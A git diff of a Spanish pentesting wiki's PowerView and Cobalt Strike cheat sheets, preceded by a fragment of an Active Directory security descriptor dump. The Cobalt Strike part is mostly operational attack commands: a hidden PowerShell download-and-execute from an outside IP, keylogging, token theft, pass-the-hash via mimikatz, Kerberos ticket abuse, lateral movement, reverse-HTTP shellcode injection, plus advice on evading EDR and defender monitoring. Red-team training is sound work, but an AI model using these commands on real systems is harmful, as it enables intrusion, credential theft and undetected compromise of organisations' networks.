879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 1fafa9fc6..b56814284 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -4,10 +4,10 @@ La versión más actualizada de PowerView siempre estará en la rama dev de PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) -[**SharpView**](https://github.com/tevora-threat/SharpView) es un puerto de .NET de [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) +[**SharpView**](https://github.com/tevora-threat/SharpView) es un puerto .NET de [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) ### Enumeración rápida -```powershell +```bash Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info @@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### Información del dominio -```powershell +```bash # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain @@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D Get-ForestDomain ``` ### Usuarios, Grupos, Computadoras y OUs -```powershell +```bash # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl @@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### Inicio de sesión y Sesiones -```powershell +```bash Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) @@ -137,8 +137,8 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ### Group Policy Object - GPOs Si un atacante tiene **altos privilegios sobre un GPO**, podría ser capaz de **privesc** abusando de él al **agregar permisos a un usuario**, **agregar un usuario administrador local** a un host o **crear una tarea programada** (inmediata) para realizar una acción.\ -Para [**más información sobre esto y cómo abusar de ello, sigue este enlace**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation). -```powershell +Para [**más información sobre esto y cómo abusar de ello, sigue este enlace**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). +```bash #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details @@ -178,7 +178,7 @@ Aprende a **explotar permisos sobre GPOs y ACLs** en: {{#endref}} ### ACL -```powershell +```bash #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs @@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` ### Archivos y carpetas compartidos -```powershell +```bash Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### Confianza de Dominio -```powershell +```bash Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found @@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` ### L**ow**-**hanging fruit** -```powershell +```bash #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth ``` ### Objetos eliminados -```powershell +```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * @@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ### MISC #### SID a Nombre -```powershell +```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast -```powershell +```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### Usar diferentes credenciales (argumento) -```powershell +```bash # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### Suplantar a un usuario -```powershell +```bash # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) @@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred Invoke-RevertToSelf ``` #### Establecer valores -```powershell +```bash # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index c1a11deb2..bc0cc10d2 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -12,7 +12,7 @@ Los beacons de estos listeners no necesitan comunicarse directamente con el C2, `Cobalt Strike -> Listeners -> Add/Edit` luego necesitas seleccionar los beacons TCP o SMB -* El **beacon TCP establecerá un listener en el puerto seleccionado**. Para conectarte a un beacon TCP usa el comando `connect ` desde otro beacon +* El **beacon TCP establecerá un listener en el puerto seleccionado**. Para conectarte a un beacon TCP usa el comando `connect ` desde otro beacon. * El **beacon smb escuchará en un pipename con el nombre seleccionado**. Para conectarte a un beacon SMB necesitas usar el comando `link [target] [pipe]`. ### Generate & Host payloads @@ -28,7 +28,7 @@ Los beacons de estos listeners no necesitan comunicarse directamente con el C2, #### Generate & Host payloads -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Esto generará un script/executable para descargar el beacon de cobalt strike en formatos como: bitsadmin, exe, powershell y python +`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Esto generará un script/executable para descargar el beacon de cobalt strike en formatos como: bitsadmin, exe, powershell y python. #### Host Payloads @@ -36,36 +36,41 @@ Si ya tienes el archivo que deseas alojar en un servidor web, solo ve a `Attacks ### Beacon Options -
# Execute local .NET binary
+
# Ejecutar binario .NET local
 execute-assembly 
+# Ten en cuenta que para cargar ensamblados más grandes de 1MB, la propiedad 'tasks_max_size' del perfil maleable necesita ser modificada.
 
-# Screenshots
-printscreen    # Toma una captura de pantalla única mediante el método PrintScr
-screenshot     # Toma una captura de pantalla única
-screenwatch    # Toma capturas de pantalla periódicas del escritorio
-## Ve a View -> Screenshots para verlas
+# Capturas de pantalla
+printscreen    # Tomar una sola captura de pantalla mediante el método PrintScr
+screenshot     # Tomar una sola captura de pantalla
+screenwatch    # Tomar capturas de pantalla periódicas del escritorio
+## Ve a Ver -> Capturas de pantalla para verlas
 
 # keylogger
 keylogger [pid] [x86|x64]
-## View > Keystrokes para ver las teclas presionadas
+## Ver > Teclas presionadas para ver las teclas presionadas
 
-# portscan
+# escaneo de puertos
 portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inyectar acción de escaneo de puertos dentro de otro proceso
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Importar módulo de Powershell
+## Importar módulo de Powershell
 powershell-import C:\path\to\PowerView.ps1
-powershell 
+powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
+powershell  # Esto usa la versión de powershell más alta soportada (no oppsec)
+powerpick   # Esto crea un proceso sacrificial especificado por spawnto, e inyecta UnmanagedPowerShell en él para mejor opsec (sin registro)
+powerpick Invoke-PrivescAudit | fl
+psinject     # Esto inyecta UnmanagedPowerShell en el proceso especificado para ejecutar el cmdlet de PowerShell.
 
-# User impersonation
+# Suplantación de usuario
 ## Generación de token con credenciales
 make_token [DOMAIN\user] [password] #Crear token para suplantar a un usuario en la red
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Deja de usar el token generado con make_token
-## El uso de make_token genera el evento 4624: Una cuenta se ha iniciado sesión correctamente. Este evento es muy común en un dominio de Windows, pero se puede reducir filtrando por el Tipo de Inicio de Sesión. Como se mencionó anteriormente, utiliza LOGON32_LOGON_NEW_CREDENTIALS que es el tipo 9.
+rev2self # Dejar de usar el token generado con make_token
+## El uso de make_token genera el evento 4624: Una cuenta ha iniciado sesión correctamente. Este evento es muy común en un dominio de Windows, pero se puede reducir filtrando por el Tipo de Inicio de Sesión. Como se mencionó anteriormente, utiliza LOGON32_LOGON_NEW_CREDENTIALS que es el tipo 9.
 
-# UAC Bypass
+# Bypass de UAC
 elevate svc-exe 
 elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
@@ -73,30 +78,31 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## Robar token de pid
 ## Como make_token pero robando el token de un proceso
 steal_token [pid] # Además, esto es útil para acciones de red, no acciones locales
-## De la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Por eso la salida de Beacon dice Impersonated  - está suplantando nuestro propio token clonado.
+## De la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Por eso la salida del Beacon dice Suplantado  - está suplantando nuestro propio token clonado.
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Deja de usar el token de steal_token
+rev2self # Dejar de usar el token de steal_token
 
 ## Lanzar proceso con nuevas credenciales
 spawnas [domain\username] [password] [listener] #Hazlo desde un directorio con acceso de lectura como: cd C:\
-## Al igual que make_token, esto generará el evento de Windows 4624: Una cuenta se ha iniciado sesión correctamente, pero con un tipo de inicio de sesión de 2 (LOGON32_LOGON_INTERACTIVE). Detallará el usuario que llama (TargetUserName) y el usuario suplantado (TargetOutboundUserName).
+## Al igual que make_token, esto generará el evento de Windows 4624: Una cuenta ha iniciado sesión correctamente pero con un tipo de inicio de sesión de 2 (LOGON32_LOGON_INTERACTIVE). Detallará el usuario que llama (TargetUserName) y el usuario suplantado (TargetOutboundUserName).
 
 ## Inyectar en proceso
 inject [pid] [x64|x86] [listener]
 ## Desde un punto de vista de OpSec: No realices inyección entre plataformas a menos que realmente sea necesario (por ejemplo, x86 -> x64 o x64 -> x86).
 
-## Pass the hash
-## Este proceso de modificación requiere parchar la memoria de LSASS, lo cual es una acción de alto riesgo, requiere privilegios de administrador local y no es muy viable si Protected Process Light (PPL) está habilitado.
+## Pasar el hash
+## Este proceso de modificación requiere parches en la memoria de LSASS, lo cual es una acción de alto riesgo, requiere privilegios de administrador local y no es muy viable si el Proceso Protegido Ligero (PPL) está habilitado.
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash a través de mimikatz
+## Pasar el hash a través de mimikatz
 mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
-## Sin /run, mimikatz genera un cmd.exe, si estás ejecutando como un usuario con Escritorio, verá la shell (si estás ejecutando como SYSTEM, estás bien).
+## Sin /run, mimikatz genera un cmd.exe, si estás ejecutando como un usuario con Escritorio, verá el shell (si estás ejecutando como SYSTEM, estás bien).
 steal_token  #Robar token del proceso creado por mimikatz
 
-## Pass the ticket
+## Pasar el ticket
 ## Solicitar un ticket
+execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
 ## Crear una nueva sesión de inicio de sesión para usar con el nuevo ticket (para no sobrescribir el comprometido)
 make_token \ DummyPass
@@ -104,13 +110,13 @@ make_token \ DummyPass
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Pass the ticket desde SYSTEM
+## Pasar el ticket desde SYSTEM
 ## Generar un nuevo proceso con el ticket
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Robar el token de ese proceso
 steal_token 
 
-## Extraer ticket + Pass the ticket
+## Extraer ticket + Pasar el ticket
 ### Listar tickets
 execute-assembly C:\path\Rubeus.exe triage
 ### Volcar ticket interesante por luid
@@ -122,7 +128,7 @@ execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket.
 ### Finalmente, robar el token de ese nuevo proceso
 steal_token 
 
-# Lateral Movement
+# Movimiento Lateral
 ## Si se creó un token, se utilizará
 jump [method] [target] [listener]
 ## Métodos:
@@ -131,19 +137,19 @@ jump [method] [target] [listener]
 ## psexec_psh                x86   Usar un servicio para ejecutar una línea de PowerShell
 ## winrm                     x86   Ejecutar un script de PowerShell a través de WinRM
 ## winrm64                   x64   Ejecutar un script de PowerShell a través de WinRM
+## wmi_msbuild               x64   movimiento lateral wmi con tarea inline c# de msbuild (oppsec)
 
-remote-exec [method] [target] [command]
+remote-exec [method] [target] [command] # remote-exec no devuelve salida
 ## Métodos:
-## psexec                          Ejecución remota a través del Administrador de Control de Servicios
-## winrm                           Ejecución remota a través de WinRM (PowerShell)
+## psexec                          Ejecución remota a través del Administrador de Control de Servicios
+## winrm                           Ejecución remota a través de WinRM (PowerShell)
 ## wmi                             Ejecución remota a través de WMI
 
 ## Para ejecutar un beacon con wmi (no está en el comando jump) solo sube el beacon y ejecútalo
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
-
-# Pass session to Metasploit - Through listener
+# Pasar sesión a Metasploit - A través de listener
 ## En el host de metaploit
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
@@ -151,75 +157,202 @@ msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## En cobalt: Listeners > Add y establece el Payload en Foreign HTTP. Establece el Host en 10.10.5.120, el Puerto en 8080 y haz clic en Guardar.
+## En cobalt: Listeners > Agregar y establecer el Payload en HTTP Extranjero. Establecer el Host en 10.10.5.120, el Puerto en 8080 y hacer clic en Guardar.
 beacon> spawn metasploit
 ## Solo puedes generar sesiones Meterpreter x86 con el listener extranjero.
 
-# Pass session to Metasploit - Through shellcode injection
+# Pasar sesión a Metasploit - A través de inyección de shellcode
 ## En el host de metasploit
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
-## Ejecuta msfvenom y prepara el listener multi/handler
+## Ejecutar msfvenom y preparar el listener multi/handler
 
-## Copia el archivo bin a la máquina host de cobalt strike
+## Copiar el archivo bin a la máquina host de cobalt strike
 ps
 shinject  x64 C:\Payloads\msf.bin #Inyectar shellcode de metasploit en un proceso x64
 
-# Pass metasploit session to cobalt strike
-## Genera shellcode Beacon stageless, ve a Attacks > Packages > Windows Executable (S), selecciona el listener deseado, selecciona Raw como el tipo de salida y selecciona Usar carga útil x64.
-## Usa post/windows/manage/shellcode_inject en metasploit para inyectar el shellcode generado de cobalt strike
-
+# Pasar sesión de metasploit a cobalt strike
+## Generar shellcode Beacon stageless, ir a Attacks > Packages > Windows Executable (S), seleccionar el listener deseado, seleccionar Raw como el tipo de salida y seleccionar Usar carga útil x64.
+## Usar post/windows/manage/shellcode_inject en metasploit para inyectar el shellcode generado de cobalt strike.
 
 # Pivoting
-## Abre un proxy socks en el teamserver
+## Abrir un proxy socks en el teamserver
 beacon> socks 1080
 
-# SSH connection
+# Conexión SSH
 beacon> ssh 10.10.17.12:22 username password
-## Avoiding AVs +## Opsec -### Artifact Kit +### Execute-Assembly -Usualmente en `/opt/cobaltstrike/artifact-kit` puedes encontrar el código y las plantillas precompiladas (en `/src-common`) de los payloads que cobalt strike va a usar para generar los beacons binarios. +El **`execute-assembly`** utiliza un **proceso sacrificial** mediante inyección de proceso remoto para ejecutar el programa indicado. Esto es muy ruidoso ya que para inyectar dentro de un proceso se utilizan ciertas APIs de Win que todos los EDR están verificando. Sin embargo, hay algunas herramientas personalizadas que se pueden usar para cargar algo en el mismo proceso: -Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con la puerta trasera generada (o solo con la plantilla compilada) puedes encontrar qué está haciendo que el defensor se active. Generalmente es una cadena. Por lo tanto, solo puedes modificar el código que está generando la puerta trasera para que esa cadena no aparezca en el binario final. +- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) +- En Cobalt Strike también puedes usar BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) + +El script de agresor `https://github.com/outflanknl/HelpColor` creará el comando `helpx` en Cobalt Strike que pondrá colores en los comandos indicando si son BOFs (verde), si son Frok&Run (amarillo) y similar, o si son ProcessExecution, inyección o similar (rojo). Lo que ayuda a saber qué comandos son más sigilosos. + +### Actuar como el usuario + +Podrías verificar eventos como `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: + +- Seguridad EID 4624 - Ver todos los inicios de sesión interactivos para conocer las horas de operación habituales. +- Sistema EID 12,13 - Ver la frecuencia de apagado/inicio/sueño. +- Seguridad EID 4624/4625 - Ver intentos NTLM válidos/inválidos entrantes. +- Seguridad EID 4648 - Este evento se crea cuando se utilizan credenciales en texto plano para iniciar sesión. Si un proceso lo generó, el binario potencialmente tiene las credenciales en texto claro en un archivo de configuración o dentro del código. + +Al usar `jump` desde cobalt strike, es mejor usar el método `wmi_msbuild` para que el nuevo proceso parezca más legítimo. + +### Usar cuentas de computadora + +Es común que los defensores estén verificando comportamientos extraños generados por usuarios y **excluyan cuentas de servicio y cuentas de computadora como `*$` de su monitoreo**. Podrías usar estas cuentas para realizar movimiento lateral o escalada de privilegios. + +### Usar cargas útiles stageless + +Las cargas útiles stageless son menos ruidosas que las staged porque no necesitan descargar una segunda etapa del servidor C2. Esto significa que no generan tráfico de red después de la conexión inicial, lo que las hace menos propensas a ser detectadas por defensas basadas en la red. + +### Tokens & Almacenamiento de Tokens + +Ten cuidado al robar o generar tokens porque podría ser posible que un EDR enumere todos los tokens de todos los hilos y encuentre un **token perteneciente a un usuario diferente** o incluso a SYSTEM en el proceso. + +Esto permite almacenar tokens **por beacon** para que no sea necesario robar el mismo token una y otra vez. Esto es útil para movimiento lateral o cuando necesitas usar un token robado múltiples veces: + +- token-store steal +- token-store steal-and-use +- token-store show +- token-store use +- token-store remove +- token-store remove-all + +Al moverse lateralmente, generalmente es mejor **robar un token que generar uno nuevo** o realizar un ataque de pasar el hash. + +### Guardrails + +Cobalt Strike tiene una función llamada **Guardrails** que ayuda a prevenir el uso de ciertos comandos o acciones que podrían ser detectadas por los defensores. Los guardrails se pueden configurar para bloquear comandos específicos, como `make_token`, `jump`, `remote-exec`, y otros que se utilizan comúnmente para movimiento lateral o escalada de privilegios. + +Además, el repositorio [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) también contiene algunas verificaciones e ideas que podrías considerar antes de ejecutar una carga útil. + +### Cifrado de tickets + +En un AD, ten cuidado con el cifrado de los tickets. Por defecto, algunas herramientas usarán cifrado RC4 para tickets de Kerberos, que es menos seguro que el cifrado AES y por defecto los entornos actualizados usarán AES. Esto puede ser detectado por defensores que están monitoreando algoritmos de cifrado débiles. + +### Evitar Defaults + +Al usar Cobalt Strike, por defecto los pipes SMB tendrán el nombre `msagent_####` y `"status_####`. Cambia esos nombres. Es posible verificar los nombres de los pipes existentes desde Cobalt Strike con el comando: `ls \\.\pipe\` + +Además, con sesiones SSH se crea un pipe llamado 